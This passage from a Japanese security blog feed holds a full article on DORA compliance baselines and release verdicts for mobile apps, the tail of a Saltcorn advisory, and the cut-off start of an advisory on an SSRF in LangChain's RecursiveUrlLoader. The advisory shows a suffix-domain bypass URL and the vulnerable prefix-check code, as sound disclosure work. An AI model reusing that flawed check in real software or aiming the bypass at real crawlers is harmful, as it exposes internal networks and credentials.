&lt;strong&gt;&lt;a href="https://github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml"&gt;github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="参考資料"&gt;参考資料&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;GitHub Advisory&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/advisories/GHSA-cr3w-cw5w-h3fj"&gt;https://github.com/advisories/GHSA-cr3w-cw5w-h3fj&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Saltcornリポジトリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/saltcorn/saltcorn"&gt;https://github.com/saltcorn/saltcorn&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;修正コミット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5"&gt;https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;脆弱なスナップショット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/saltcorn/saltcorn/commit/020893c"&gt;https://github.com/saltcorn/saltcorn/commit/020893c&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="security"/><category term="RCE"/><category term="XSS"/><category term="vulnerability"/><category term="GHSA"/><category term="cve-news"/></entry><entry><title>モバイルリリースにおけるDORAコンプライアンス：最もシンプルなベースライン、判定、例外のモデル</title><link href="https://blog.ostorlab.co/ja/dora-compliance-for-mobile-releases.html" rel="alternate"/><published>2026-03-10T14:44:00+01:00</published><updated>2026-03-10T14:44:00+01:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-03-10:/ja/dora-compliance-for-mobile-releases.html</id><summary type="html">&lt;p&gt;BFSIチーム向けに、DORA規制とDORAコンプライアンスをモバイルの視点から解説するガイドです。スコープの定め方、リリースプロセスの簡素化、不要なコンプライアンス作業を生む落とし穴の避け方を紹介します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;本シリーズの最初の記事&lt;a href="https://blog.ostorlab.co/understanding-dora-compliance-for-mobile-teams.html"&gt;モバイルチームのためのDORAコンプライアンス：スコープとやるべきことを理解する&lt;/a&gt;をお読みいただいた方は、すでに基礎が身についているはずです。&lt;/p&gt;
&lt;p&gt;1/ モバイルのスコープを把握し、&lt;strong&gt;リリース&lt;/strong&gt;がガバナンスの自然な単位である理由を理解しています。&lt;/p&gt;
&lt;p&gt;2/ &lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;を実践的なものに保つ、ただ一つの問いを手にしています。それは、&lt;strong&gt;このモバイルアプリのリリースは、DORAに沿った当社のアプリケーションセキュリティおよびレジリエンスの制御に準拠しているか&lt;/strong&gt;という問いです。&lt;/p&gt;
&lt;p&gt;ここからは、その問いに、繰り返し可能かつ監査可能な形で答えられるようにする段階です。&lt;/p&gt;
&lt;p&gt;本記事では、モバイルリリースにおける&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;の仕組みを扱います。モバイル向けの最小限の制御ベースラインを定義し、シンプルな判定モデルを紹介したうえで、リリースのたびにガバナンスの交渉が発生することのないよう、例外をどう扱うかを説明します。&lt;/p&gt;
&lt;p&gt;まずは、これが汎用的なコンプライアンス作業ではなく、リリース単位の作業である理由から始めましょう。&lt;/p&gt;
&lt;h2 id="モバイルのdoraコンプライアンスで最も実践的な単位がリリースである理由"&gt;&lt;strong&gt;モバイルのDORAコンプライアンスで最も実践的な単位がリリースである理由&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;「当社のアプリはDORAに準拠している」といった全体的な主張をしようとすると、モバイルのコンプライアンスは難しくなります。この主張は、組織のガバナンス、サードパーティの監督、インシデント対応プロセス、技術的な制御を一つの文に混ぜ込んでおり、モバイルチームの立場からきれいにエビデンスを示すことはほぼ不可能です。&lt;/p&gt;
&lt;p&gt;リリースのほうが単位として優れているのは、モバイルの作業がもともとリリース単位で進むからです。iOSとAndroidの各リリースは、それぞれが個別の変更を表します。リスクもそれに合わせて変化します。エビデンスは、後になって誰かが監査依頼を送ってきたときに再構成するのではなく、リリースの時点で収集できます。&lt;/p&gt;
&lt;p&gt;リリースをDORAコンプライアンスの単位として扱うと、次の3つのことが起こります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;出荷の一環として、エビデンスが自然に収集される&lt;/li&gt;
&lt;li&gt;リスクの判断が、暗黙の前提ではなく明示的に行われる&lt;/li&gt;
&lt;li&gt;コンプライアンスの説明が、リリースごとに一貫したものになる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;次に、維持できるほど小さく、かつ役に立つほど強力なベースラインを定義します。&lt;/p&gt;
&lt;h2 id="モバイルリリースのdoraコンプライアンスベースライン"&gt;&lt;strong&gt;モバイルリリースのDORAコンプライアンスベースライン&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;モバイルチームにとって&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;を実体のあるものにする最もシンプルな方法は、ベースラインを定義することです。ベースラインとは、すべてのリリースが出荷前に満たさなければならない制御のリストにすぎません。制御の数は多くても10〜20個に抑えます。それ以上になると、ガバナンスのツールではなく保守の負担になってしまいます。&lt;/p&gt;
&lt;p&gt;良い制御には3つの特性があります。合格か不合格かを言える、つまり二値またはそれに近いこと。成果物、レポート、チケットを示せる、つまりエビデンスに結び付いていること。そして、不合格になったときに誰かが責任を負う、つまりオーナーがいることです。&lt;/p&gt;
&lt;p&gt;さらに踏み込む前に、一つ念を押しておきます。この部分は、放っておくといくらでも複雑になります。シンプルに保ってください。エビデンスを示せない制御は、まだ制御とは言えません。&lt;/p&gt;
&lt;p&gt;以下に、モバイルのスコープにおけるDORAコンプライアンスの大部分をカバーする5つのカテゴリを示します。&lt;/p&gt;
&lt;h3 id="1) リリースの完全性とトレーサビリティ"&gt;&lt;strong&gt;1) リリースの完全性とトレーサビリティ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;このカテゴリは、何を出荷したかを正確に把握し、後からそれを証明できるかどうかに答えます。実際には、すべてのリリース成果物がバージョン、ビルド番号、フィンガープリントによって一意に識別され、承認済みのパイプラインで署名・生成されていることを意味します。また、セキュリティチェックが、開発者ビルドやステージング環境の近似版ではなく、まさにそのリリース候補の成果物に対して実行され、成果物をコミット、リポジトリ、パイプラインの実行に結び付ける来歴（プロベナンス）の記録があることも意味します。最後に、誰かの記憶に頼らず後からレビューできるよう、裏付けとなるエビデンスが保持されていることです。&lt;/p&gt;
&lt;p&gt;地味ですが極めて重要なカテゴリです。成果物を特定できなければ、ほかのどの事柄も帰属させられないからです。&lt;/p&gt;
&lt;h3 id="2) 脆弱性と露出のしきい値"&gt;&lt;strong&gt;2) 脆弱性と露出のしきい値&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;このカテゴリは、このリリースが定義済みのリスク許容度の範囲内にあるか、という問いに答えます。&lt;/p&gt;
&lt;p&gt;チームをトラブルから守る制御：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;リリースにクリティカルの検出結果がない&lt;/li&gt;
&lt;li&gt;モバイルにとって重要なカテゴリ（一般的には認証とセッション管理、暗号、機密データの保存、通信のセキュリティ、安全でない設定）に高の検出結果がない&lt;/li&gt;
&lt;li&gt;最後に承認されたリリースと比べて、クリティカルまたは高の新たなリグレッションがない&lt;/li&gt;
&lt;li&gt;出荷を妨げない検出結果についても修復の期待値が定められており、リスクが人知れず蓄積しない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ここで重要なのは、しきい値を適用する前に定義しておくことです。「見ればわかる」は制御ではありません。&lt;/p&gt;
&lt;h3 id="3) サードパーティsdkのガバナンス"&gt;&lt;strong&gt;3) サードパーティSDKのガバナンス&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;このカテゴリは、バイナリに何が含まれているかを把握し、その変化を管理できているか、という問いに答えます。&lt;/p&gt;
&lt;p&gt;SDKのリスクを管理可能にする制御：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;このリリースのSDKインベントリがあり、組み込まれたすべてのSDKとライブラリが列挙されている&lt;/li&gt;
&lt;li&gt;最後に承認されたリリースからの変更点を示す差分がある&lt;/li&gt;
&lt;li&gt;新しいSDKやメジャーバージョンのアップグレードには、明示的な承認と担当オーナーの割り当てが必要である&lt;/li&gt;
&lt;li&gt;禁止されたSDKの種類や既知の脆弱なSDKバージョンは、出荷がブロックされる&lt;/li&gt;
&lt;li&gt;重大なSDKアドバイザリに迅速に対応するプロセスがあり、パッチ適用の期待値が定められている&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;モバイルには、依存関係がアプリの内部に同梱されて出荷されるという、独特なサードパーティリスクのプロファイルがあります。SDKは、自社のコードに一切変更がなくても、想定外のデータを収集したり、ユーザージャーニーを壊したり、脆弱性を持ち込んだりする可能性があります。DORAコンプライアンスがきわめてモバイル固有のものになるのは、このカテゴリです。&lt;/p&gt;
&lt;h3 id="4) 重要なジャーニーに対するレジリエンスの備え"&gt;&lt;strong&gt;4) 重要なジャーニーに対するレジリエンスの備え&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;このカテゴリは、顧客にとって最も重要な障害モードをテストしたか、という問いに答えます。&lt;/p&gt;
&lt;p&gt;「レジリエンス」を曖昧な言葉にしないための制御：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ログイン、ステップアップ認証、アカウント復旧、決済など、アプリの重要なジャーニーが宣言されている&lt;/li&gt;
&lt;li&gt;ジャーニーごとに、アイデンティティ、OTPとプッシュ通知、API、不正対策、決済、リモート設定を網羅した依存関係マップがある&lt;/li&gt;
&lt;li&gt;高リスクの機能について、ロールバック計画、キルスイッチ、フィーチャーフラグのガードレールが用意され、テスト済みである&lt;/li&gt;
&lt;li&gt;レジリエンス訓練のエビデンスが添付され、リリース記録にリンクされている&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「セキュアである」と「レジリエントである」を分けるのが、このカテゴリです。セキュリティとレジリエンスは関連していますが、同じものではありません。&lt;/p&gt;
&lt;h3 id="5) インシデントへの備え"&gt;&lt;strong&gt;5) インシデントへの備え&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;このカテゴリは、このリリースで何か問題が起きたときに、迅速かつ整然と対応できるかどうかに答えます。実際には、テレメトリがバージョン単位の分析に対応しており、どのアプリバージョンが影響を受けているか、緩和策の適用に伴って影響がどう変化するかを特定できることを意味します。また、不正やアカウント乗っ取りのシグナルを含むモバイルのセキュリティイベントについて明確なインシデント重大度の基準があり、手作業のフォレンジックなしにすばやく記入できるエビデンスパックのテンプレートがあることも意味します。最後に、何が、誰によって、どのような根拠で決定されたかを記録する意思決定ログのプロセスが必要です。これにより、インシデントの経緯が一貫し、レビュー可能なものになります。インシデントへの備えは、チームが最後に整えるカテゴリであることが多いものの、実際に何かが起きたときに最も重要になるカテゴリです。&lt;/p&gt;
&lt;p&gt;ベースラインができたら、すべてのリリースレビューの結果を一貫した形で表す方法も必要になります。&lt;/p&gt;
&lt;h2 id="doraコンプライアンスのリリース判定モデル"&gt;&lt;strong&gt;DORAコンプライアンスのリリース判定モデル&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;ベースラインができたら、すべてのリリース候補は3つの結果のいずれかを出すべきです。&lt;/p&gt;
&lt;h3 id="pass"&gt;&lt;strong&gt;PASS&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;すべての制御を満たしています。エビデンスはそろっており、リリース記録にリンクされています。リリースを進めることができます。&lt;/p&gt;
&lt;h3 id="fail"&gt;&lt;strong&gt;FAIL&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;ブロッキングの制御のうち一つ以上を満たしていません。ブロッカーが解決されるか、例外として正式に扱われるまで、リリースは出荷されません。&lt;/p&gt;
&lt;h3 id="pass_with_exceptions"&gt;&lt;strong&gt;PASS_WITH_EXCEPTIONS&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;一つ以上の制御が正式に承認された例外によって免除されていることによってのみ、ベースラインを満たしているリリースです。これはガバナンスのもとでの結果であり、近道ではありません。&lt;/p&gt;
&lt;p&gt;3状態のモデルは、二値のモデルよりも誠実です。モバイルのBFSIでは、より優先度の高いリスクに対処するために出荷しなければならないこともあり、すべて問題ないふりをするよりも、補完的な制御を伴う正式な例外のほうが責任ある対応です。&lt;/p&gt;
&lt;p&gt;例外は、プログラムが規律を保てるか、それとも少しずつ「後で直す」領域へ流されていくかの分かれ目です。&lt;/p&gt;
&lt;h2 id="すべてを遅らせることなく例外を扱う方法"&gt;&lt;strong&gt;すべてを遅らせることなく例外を扱う方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;例外は、非公式かつ恒久的になりがちなため、評判がよくありません。しかし、適切に管理された例外は実は有用なツールです。リスクを静かに蓄積させるのではなく、管理されたトレードオフを明示的に行えるからです。&lt;/p&gt;
&lt;p&gt;良い例外には、次の5つが必要です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ID&lt;/strong&gt;：レビューをまたいで追跡できるようにする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オーナー&lt;/strong&gt;：例外の解消に責任を持つ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リスクステートメント&lt;/strong&gt;：リスクが何であり、なぜ現時点では許容できるのかを平易な言葉で説明する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;補完的な制御&lt;/strong&gt;：例外が有効な間、実際の影響を軽減する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有効期限&lt;/strong&gt;：フォローアップを強制する。期限がないなら、それは例外ではなくポリシーの変更です。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ガバナンスのルールはシンプルです。PASS_WITH_EXCEPTIONSが有効なのは、5つの要素がすべてそろい、適切な担当者（通常はセキュリティ部門とリスク部門の両方）によって承認されている場合に限ります。&lt;/p&gt;
&lt;p&gt;例外は指標として追跡します。例外の数が増え続け、有効期限の遵守率が低いなら、ベースラインは適用されているのではなく、回避されています。&lt;/p&gt;
&lt;p&gt;ここで、これをリリース記録に結び付けます。そうすることで、監査やレビューの負担が大きく軽くなるからです。&lt;/p&gt;
&lt;h2 id="リリース記録の最小限の項目(監査を容易にするために)"&gt;&lt;strong&gt;リリース記録の最小限の項目（監査を容易にするために）&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;リリース記録は、判定をエビデンスに結び付け、モデル全体を監査可能にします。すべてのリリース記録に含めるべき最小限の項目は次のとおりです。&lt;/p&gt;
&lt;h3 id="リリースの識別情報"&gt;&lt;strong&gt;リリースの識別情報&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;アプリ識別子（バンドルIDまたはパッケージ名）&lt;/li&gt;
&lt;li&gt;プラットフォーム（iOSまたはAndroid）&lt;/li&gt;
&lt;li&gt;バージョンとビルド番号&lt;/li&gt;
&lt;li&gt;成果物のフィンガープリントまたは一意のビルドID&lt;/li&gt;
&lt;li&gt;ソース参照（リポジトリ、コミットSHA、パイプライン実行ID）&lt;/li&gt;
&lt;li&gt;リリースオーナー&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="判定"&gt;&lt;strong&gt;判定&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;PASS、FAIL、PASS_WITH_EXCEPTIONSのいずれか&lt;/li&gt;
&lt;li&gt;制御のサマリー（どれが合格し、どれが不合格だったか）&lt;/li&gt;
&lt;li&gt;FAILの場合はブロッカーのリスト（検出結果または課題のID、オーナー、修復目標）&lt;/li&gt;
&lt;li&gt;PASS_WITH_EXCEPTIONSの場合は例外のリスト（例外ID、免除された制御、有効期限、承認者）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="エビデンスへのリンク"&gt;&lt;strong&gt;エビデンスへのリンク&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;成果物にリンクされたセキュリティテストレポート&lt;/li&gt;
&lt;li&gt;重大度とカテゴリを含む検出結果のエクスポート&lt;/li&gt;
&lt;li&gt;SDKインベントリと差分&lt;/li&gt;
&lt;li&gt;重要なジャーニーに関する訓練のエビデンスとランブックへのリンク&lt;/li&gt;
&lt;li&gt;承認の履歴と例外登録簿のエントリ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの項目がそろっていれば、監査人は、チームにすべてを一から再構成するよう求めることなく、後からリリースの判断をレビューできます。それが実務上の価値です。&lt;/p&gt;
&lt;p&gt;最後のピースは展開です。目標は、これを新しい儀式ではなく、普段どおりの出荷のように感じられるものにすることです。&lt;/p&gt;
&lt;h2 id="リリーストレインを止めずに展開する方法"&gt;&lt;strong&gt;リリーストレインを止めずに展開する方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;チームが犯す最大の過ちは、すべてを一度に適用しようとすることです。そうするとブロッカーが生まれ、リリースが遅れ、ベースラインがツールではなく障害物のように感じられてしまいます。&lt;/p&gt;
&lt;p&gt;より良いアプローチは、小さく始めて広げていくことです。&lt;/p&gt;
&lt;h3 id="一つのハードゲートから始める"&gt;&lt;strong&gt;一つのハードゲートから始める&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;最も重要な制御を一つ選び、ブロッカーとして適用します。最初の選択肢としては「クリティカルの検出結果がないこと」が適しています。それ以外はすべて計測はしても、最初の数回のリリースでは出荷を妨げないものにしておけます。&lt;/p&gt;
&lt;h3 id="制御を段階的に追加する"&gt;&lt;strong&gt;制御を段階的に追加する&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;チームがモデルに慣れてきたら、制御を一つか二つずつ追加します。目標は、ベースラインを独立したコンプライアンス作業ではなく、出荷の通常の一部と感じられるようにすることです。&lt;/p&gt;
&lt;h3 id="エビデンスの収集を早期に自動化する"&gt;&lt;strong&gt;エビデンスの収集を早期に自動化する&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;エビデンスの生成を早く自動化するほど、モデルの負担は小さくなります。まずは成果物に結び付いたスキャンレポートから始め、次にSDKの差分、さらに訓練とランブックのチェックを加えます。&lt;/p&gt;
&lt;h3 id="初日から例外を可視化する"&gt;&lt;strong&gt;初日から例外を可視化する&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;当初は例外をほとんど使わないとしても、最初から追跡可能で期限付きのものにしておきます。何か月も非公式に運用された後で例外にガバナンスを加えるのは、はるかに困難です。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="リリーストレインを止めずにDORAコンプライアンスを展開するための4ステップのアプローチ（一つのハードゲート、制御の段階的な追加、エビデンスの自動化、例外の可視化）を示す図" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-10_dora_compliance_for_mobile_releases/Roll-out-DORA-compliance-plan.png" title="モバイルリリースにおけるDORAコンプライアンスの展開"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;モバイルリリースにおけるDORAコンプライアンスの展開&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="おわりに"&gt;&lt;strong&gt;おわりに&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;制御のベースラインは、役に立つために完璧である必要はありません。一貫しており、エビデンスに裏付けられ、適用されていることが必要です。iOS、Android、HarmonyOSのすべてのリリースが判定とリンクされたエビデンスパックを生み出すようになれば、&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;は四半期ごとの慌ただしい作業ではなくなります。モバイルの出荷のあり方から自然に生まれる成果物になるのです。&lt;/p&gt;
&lt;p&gt;次の記事では、リリースの制御からオペレーショナルレジリエンスへと話を進めます。BFSIのモバイルジャーニー向けの最もシンプルな訓練ライブラリ、各訓練が生み出すべきエビデンス、そして訓練の結果とリリースの制御をつなぐループの閉じ方を取り上げます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;次の記事：&lt;/strong&gt;&lt;a href="https://blog.ostorlab.co/dora-mobile-resilience-drills.html"&gt;&lt;em&gt;DORAのもとでのモバイルのオペレーショナルレジリエンス：BFSIジャーニー向けの最もシンプルな訓練ライブラリ&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;</content><category term="Security"/><category term="DORA"/><category term="Compliance"/><category term="Mobile Security"/></entry><entry><title>CVE-2026-26019：LangChain RecursiveUrlLoaderのサーバーサイドリクエストフォージェリ脆弱性</title><link href="https://blog.ostorlab.co/ja/cve-2026-26019-ssrf-langchain.html" rel="alternate"/><published>2026-03-04T14:00:00+01:00</published><updated>2026-03-04T14:00:00+01:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-03-04:/ja/cve-2026-26019-ssrf-langchain.html</id><summary type="html">&lt;p&gt;LangChain CommunityのJavaScriptパッケージ（&amp;lt; 1.1.14）に存在する、CVSS 4.1（中）のサーバーサイドリクエストフォージェリ脆弱性CVE-2026-26019の技術的解説です。RecursiveUrlLoaderクラスはクロールするURLの検証に単純な文字列プレフィックスチェックを用いており、攻撃者はサフィックス付きのドメインでデフォルトのpreventOutside制限をバイパスし、クローラーを内部ネットワークのアセットへリダイレクトして、機微な認証情報やメタデータエンドポイントを露出させる可能性があります。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2026-26019&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;LangChain RecursiveUrlLoaderのサーバーサイドリクエストフォージェリ脆弱性&lt;/p&gt;
&lt;p&gt;2026年2月11日 &amp;middot; CVSS 4.1 Medium &amp;middot; Langchain Community &amp;lt; 1.1.14&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正済みバージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-26019&lt;/td&gt;
&lt;td style="text-align: left;"&gt;4.1 Medium&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;lt; 1.1.14&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.1.14+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="cve-2026-26019の概要:langchain recursiveurlloaderにおけるssrf"&gt;CVE-2026-26019の概要：LangChain RecursiveUrlLoaderにおけるSSRF&lt;/h2&gt;
&lt;p&gt;@langchain/communityパッケージは、Webページを再帰的にクロールし、その内容をLLM処理のためのドキュメントとして読み込むために使われる&lt;strong&gt;RecursiveUrlLoader&lt;/strong&gt;クラスを提供しています。このローダーが、&lt;strong&gt;preventOutside&lt;/strong&gt;パラメーターが有効（これがデフォルト設定です）のときに、子URLをベースURLと照合して検証する方法に、サーバーサイドリクエストフォージェリ（SSRF）の脆弱性が発見されました。&lt;/p&gt;
&lt;p&gt;根本原因は、URLの検証にJavaScriptの&lt;strong&gt;String.startsWith()&lt;/strong&gt;メソッドを使っていることにあります。&lt;strong&gt;preventOutside&lt;/strong&gt;が&lt;strong&gt;true&lt;/strong&gt;に設定されていると、ローダーは発見した各リンクが&lt;strong&gt;baseUrl&lt;/strong&gt;文字列で始まるかどうかを確認します。この単純なプレフィックスチェックはドメインの境界を考慮していないため、http[:]//example[.]com.evil.comのような悪意のあるURLは、http[:]//example[.]comというベースURLに対して検証を通過してしまいます。文字列としては技術的に同じプレフィックスで始まっているためです。&lt;/p&gt;
&lt;p&gt;攻撃者がクロール対象のページにリンクを注入できる場合（たとえば、コメント欄、ユーザー生成コンテンツ、侵害されたページを通じて）、クローラーを攻撃者が制御するインフラへリダイレクトでき、そこからさらに内部ネットワークのリソースへリダイレクトして、APIキー、メタデータサービス、内部エンドポイントといった機微なデータを露出させることができます。&lt;/p&gt;
&lt;h2 id="url検証におけるssrf:安全でないプレフィックス照合"&gt;URL検証におけるSSRF：安全でないプレフィックス照合&lt;/h2&gt;
&lt;p&gt;問題の核心は、不十分なURLオリジンのチェックにあります。ローダーはページ上で発見したすべてのリンクを反復処理し、各リンクが許可されたクロール範囲の「内側」にあるかどうかを判断するために、単純な文字列プレフィックス比較を適用します。次のコードスニペットは、脆弱なロジックを示しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;allLinks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;invalidPrefixes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;invalidSuffixes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;suffix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;endsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;suffix&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;standardizedLink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;standardizedLink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
